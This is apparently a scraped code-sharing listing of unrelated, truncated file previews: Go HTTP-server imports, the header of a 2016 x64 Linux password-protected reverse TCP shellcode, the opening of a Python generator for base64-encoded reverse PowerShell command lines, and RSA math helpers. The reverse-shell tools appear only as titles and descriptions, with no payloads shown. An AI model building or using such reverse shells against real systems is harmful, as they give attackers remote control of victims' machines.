This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main //giving package name- telling to compile as executable and not library | |
import ( //importing any external packages | |
"encoding/json" | |
"fmt" //formatted input/output | |
"log" //logging | |
"net/http" //HTTP server functionality | |
"github.com/gorilla/mux" //Enhanced Router functionality for HTTP Server | |
) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/*--------------------------------------------------------------------------------------------------------------------- | |
/* | |
*Title: tcp reverse shell with password polymorphic version 122 bytes | |
*Author: Sathish kumar | |
*Contact: https://www.linkedin.com/in/sathish94 | |
*Copyright: (c) 2016 iQube. (http://iQube.io) | |
*Release Date: January 29, 2016 | |
*Description: x64 Linux reverse TCP port shellcode on port 4444 with reconfigurable password | |
*Tested On: Ubuntu 14.04 LTS | |
*SLAE64-1408 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# | |
# generate reverse powershell cmdline with base64 encoded args | |
# | |
import sys | |
import base64 | |
def help(): | |
print("USAGE: %s IP PORT" % sys.argv[0]) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from Crypto.Util import number | |
import random | |
phi=lambda p, q: (p-1)*(q-1) #euler totient | |
def eGCD(a, b): #extended euclidean algorithm | |
if a==0: | |
return b, 0, 1 | |
gcd, x1, y1= eGCD(b%a, a) |